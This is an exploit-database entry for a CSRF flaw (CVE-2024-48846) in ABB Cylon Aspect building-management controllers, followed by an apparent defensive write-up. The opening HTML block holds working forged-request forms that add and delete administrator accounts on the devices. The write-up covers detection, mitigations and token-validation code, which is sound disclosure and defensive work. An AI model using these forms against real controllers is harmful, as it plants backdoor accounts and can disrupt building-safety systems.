ABB Cylon Aspect 3.08.02 - Cross-Site Request Forgery (CSRF)

Exploit Author: LiquidWorm Analysis Author: www.bubbleslearn.ir Category: Language: HTML Published Date: 2025-04-16
<html>
<!--

ABB Cylon Aspect 3.08.02 (userManagement.php) Cross-Site Request Forgery


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5870
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5870.php
CVE ID: CVE-2024-48846
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48846


21.04.2024

-->




                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 


  
// Add User/Admin
  <body>
    <form action="http://192.168.73.31/userManagement.php" method="POST">
      <input type="hidden" name="USER" value="zeroscience" />
      <input type="hidden" name="PASSWORD" value="ZSL251" />
      <input type="hidden" name="ACTION" value="Add" />
      <input type="submit" value="Make me a prince! (php)" />
    </form>
  </body>


// Add User/Admin
  <body>
    <form action="http://192.168.73.31:7226/servlet/UserManager" method="POST">
      <input type="hidden" name="newuser" value="test" />
      <input type="hidden" name="password" value="test123" />
      <input type="hidden" name="passwordConfirm" value="test123" />
      <input type="hidden" name="Insert" value="Add" />
      <input type="submit" value="Make me a prince! (java)" />
    </form>
  </body>


// Delete User/Admin
  <body>
    <form action="http://192.168.73.31:7226/servlet/UserManager" method="POST">
      <input type="hidden" name="user9" value="test" />
      <input type="hidden" name="remove9" value="1" />
      <input type="hidden" name="totalRows" value="9" />
      <input type="hidden" name="Delete" value="Delete" />
      <input type="submit" value="Destr0y" />
    </form>
  </body>

</html>


ABB Cylon Aspect 3.08.02 — Cross‑Site Request Forgery (CSRF): Analysis, Risk, and Defenses

Cross‑Site Request Forgery (CSRF) is a common web application vulnerability that can have outsized impact when it affects industrial and building‑automation products such as ABB Cylon Aspect 3.08.02. In that product version, certain administrative endpoints that perform user‑management tasks were reachable via HTTP POST without robust anti‑CSRF protections, increasing the risk that a remote attacker or a malicious web page could cause an authenticated operator’s browser to perform privileged actions (for example, creating or deleting users).

What is CSRF (Cross‑Site Request Forgery)?

CSRF is an attack where an attacker tricks a user’s authenticated browser into making an unwanted request to a target application where the user is currently authenticated. Unlike XSS, CSRF doesn’t require code execution in the target site — it leverages the browser’s automatic inclusion of authentication state (cookies, basic auth headers, etc.).

  • Typical effect: state‑changing operations (create/delete users, change passwords, transfer funds).
  • Why ICS/Building systems matter: such systems often run with high privileges and long lifecycles; a forged request that adds an administrative user or modifies control logic can have serious safety and availability consequences.

How CSRF affected ABB Cylon Aspect 3.08.02 (high level)

In the affected release, user‑management endpoints accepted POST requests that performed privileged actions without reliable anti‑CSRF controls (for example, per‑request tokens, strong Origin validation, or mandatory interactive re‑authentication). Because these interfaces were reachable over the network, a remote webpage, phishing email, or an attacker with a foothold on a user’s machine could induce browser‑based requests that changed the device’s user database or privileges.

Note: Publicly demonstrating functional exploit payloads for real devices can enable misuse. This article focuses on analysis, detection, and remediation rather than step‑by‑step exploitation guidance.

Attack surface and impact

  • Unauthorized user creation: Attacker can create accounts with elevated privileges that persist across sessions.
  • Privilege escalation / backdoor: Created accounts can be used later for unauthorized administrative access.
  • Operational disruption: Deleting users or changing credentials can lock out legitimate operators or disrupt automation.
  • Supply chain / lateral movement: Compromise of building‑management devices can be a pivot point to other systems on the same network.
  • Regulatory / safety impact: ICS devices may have safety implications beyond typical IT confidentiality concerns.

Indicators of compromise and detection

  • Unexpected POST requests to user management endpoints (e.g., userManagement.php, servlet/UserManager) originating from unusual source IPs or internal web clients.
  • Creation of user accounts that were not requested by operators.
  • Web server logs showing POSTs with missing or inconsistent Referer/Origin headers for sensitive endpoints.
  • Authentication log entries showing new accounts logging in from unusual hosts or at odd times.
  • IDS/WAF alerts that detect anomalous form submissions or parameter patterns associated with user creation/deletion.

Mitigations and recommended hardening

Defensive measures should be implemented at multiple layers: application, network, and operational policy. The most effective approaches combine application fixes (implemented by vendors) with compensating controls.

  • Anti‑CSRF tokens (per request): Implement a cryptographically strong token bound to the user session and validate it on every state‑changing request.
  • SameSite cookies: Mark session cookies with SameSite=Strict or SameSite=Lax where feasible to reduce the risk of cross‑site submission.
  • Origin/Referer validation: For POST requests from browsers, validate the Origin header (preferred) or Referer header to ensure requests originate from expected hosts.
  • Require re‑authentication for high‑risk actions: Require admins to re‑enter credentials for sensitive operations such as user creation/deletion.
  • Least privilege and account management: Enforce minimal privileges and review new accounts; remove unused default or legacy accounts.
  • Network controls and segmentation: Place ICS/BMS devices on isolated management networks, restrict web management ports to trusted subnets, and use VPNs for remote admin access.
  • WAF and IDS rules: Create signatures to detect suspicious POST payloads to user management endpoints and block malformed or unexpected parameter sets.
  • Vendor updates and secure defaults: Apply vendor patches; ensure new deployments have CSRF protections enabled by default.

Secure implementation examples (defensive)

1) PHP: generate and validate a per‑session CSRF token

<?php
session_start();

// Generate token and store in session if missing
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// When rendering a form:
$token = htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8');
?>

<form method="POST" action="/userManagement.php">
  <input type="hidden" name="csrf_token" value="<?= $token ?>" />
  <!-- other fields -->
  <button type="submit">Submit</button>
</form>

Explanation: This snippet shows generating a strong random token once per session, embedding it in HTML forms, and HTML‑escaping it for safety. On the receiving endpoint, the server must compare the posted csrf_token against the session value and reject the request if missing or mismatched.

// Validation example at top of userManagement.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (empty($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'] ?? '', $_POST['csrf_token'])) {
        http_response_code(403);
        echo "Invalid CSRF token";
        exit;
    }
    // proceed with user management logic
}

Explanation: Use hash_equals to resist timing attacks and reject requests where the token is absent or incorrect. Only after verification should state changes occur.

2) Java Servlet: token stored in session and validated

// When creating the form (e.g., in a servlet or JSP)
HttpSession session = request.getSession(true);
String token = (String) session.getAttribute("csrfToken");
if (token == null) {
    token = java.util.UUID.randomUUID().toString();
    session.setAttribute("csrfToken", token);
}
// Include token as hidden field in the HTML form

Explanation: Generate a token and bind it to the HTTP session. The form must include the token and the processing servlet must validate it before performing privileged actions.

// In the POST handling servlet
String requestToken = request.getParameter("csrfToken");
String sessionToken = (String) request.getSession(false).getAttribute("csrfToken");
if (sessionToken == null || requestToken == null || !sessionToken.equals(requestToken)) {
    response.sendError(HttpServletResponse.SC_FORBIDDEN, "CSRF validation failed");
    return;
}
// Proceed with admin operation

Explanation: This code validates the form token against the session token and blocks the request if validation fails.

3) SameSite cookie header (server‑side)

Set-Cookie: JSESSIONID=abc123; Path=/; Secure; HttpOnly; SameSite=Strict

Explanation: Setting SameSite=Strict prevents browsers from sending the cookie on cross‑site requests. SameSite=Lax is often a good compromise for most apps, while Strict is the most restrictive. Mark cookies Secure and HttpOnly where appropriate.

Additional defensive techniques

  • Double‑submit cookie: For stateless setups where server session storage is limited, issue a cookie with a random value and require the same value in a request parameter; verify equality. Note this requires secure cookies and TLS and is weaker than server‑bound tokens.
  • Origin/Referer checks: Reject POST requests whose Origin header isn't an expected origin. This is effective for browser‑based requests but be mindful of legitimate clients that strip headers.
  • Monitor and alert on creation of privileged accounts: Trigger alerts if new admin accounts are created or if account attributes change unexpectedly.

Operational recommendations for affected deployments

  • Immediately audit device web logs for suspicious POST activity and unexpected account changes.
  • Restrict web management ports to trusted administrative networks and use VPN access for remote administration.
  • Rotate administrator credentials if a compromise is suspected, and remove unknown accounts.
  • Deploy WAF rules to block or challenge unexpected requests to user‑management endpoints (as an interim measure until vendor fixes are applied).
  • Contact your ICS vendor (ABB) for official patches or guidance; verify device firmware version and apply updates.
  • Test fixes in a lab before production rollout; verify anti‑CSRF tokens and cookie attributes are correctly applied and validated.

Responsible disclosure and remediation workflow

  • Report confirmed vulnerabilities to the vendor through their security contact or coordinated vulnerability disclosure process.
  • Work with the vendor to obtain fixes and a secure update path; avoid public disclosure until mitigations are available and customers notified.
  • For operators, prioritize isolation of untrusted networks from management interfaces and apply compensating controls while awaiting vendor patches.

Conclusion

CSRF vulnerabilities in industrial or building‑management web interfaces — such as those identified in ABB Cylon Aspect 3.08.02 — can enable persistent administrative compromises with real‑world consequences. Mitigation requires both application‑level fixes (per‑request anti‑CSRF tokens, Origin validation, re‑authentication) and operational controls (network segmentation, monitoring, patching). Where possible, vendors should ship secure defaults and operators should apply layered defenses to reduce risk.